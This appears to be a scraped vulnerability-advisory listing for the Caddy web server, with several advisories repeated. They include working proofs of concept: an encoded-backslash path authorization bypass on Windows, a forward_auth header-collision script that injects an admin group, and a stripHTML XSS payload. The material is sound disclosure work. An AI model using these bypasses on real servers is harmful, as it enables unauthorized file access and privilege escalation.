< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Sep 28, 2015

v0.7.5 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Aug 05, 2015

v0.7.4 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jul 30, 2015

v0.7.3 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

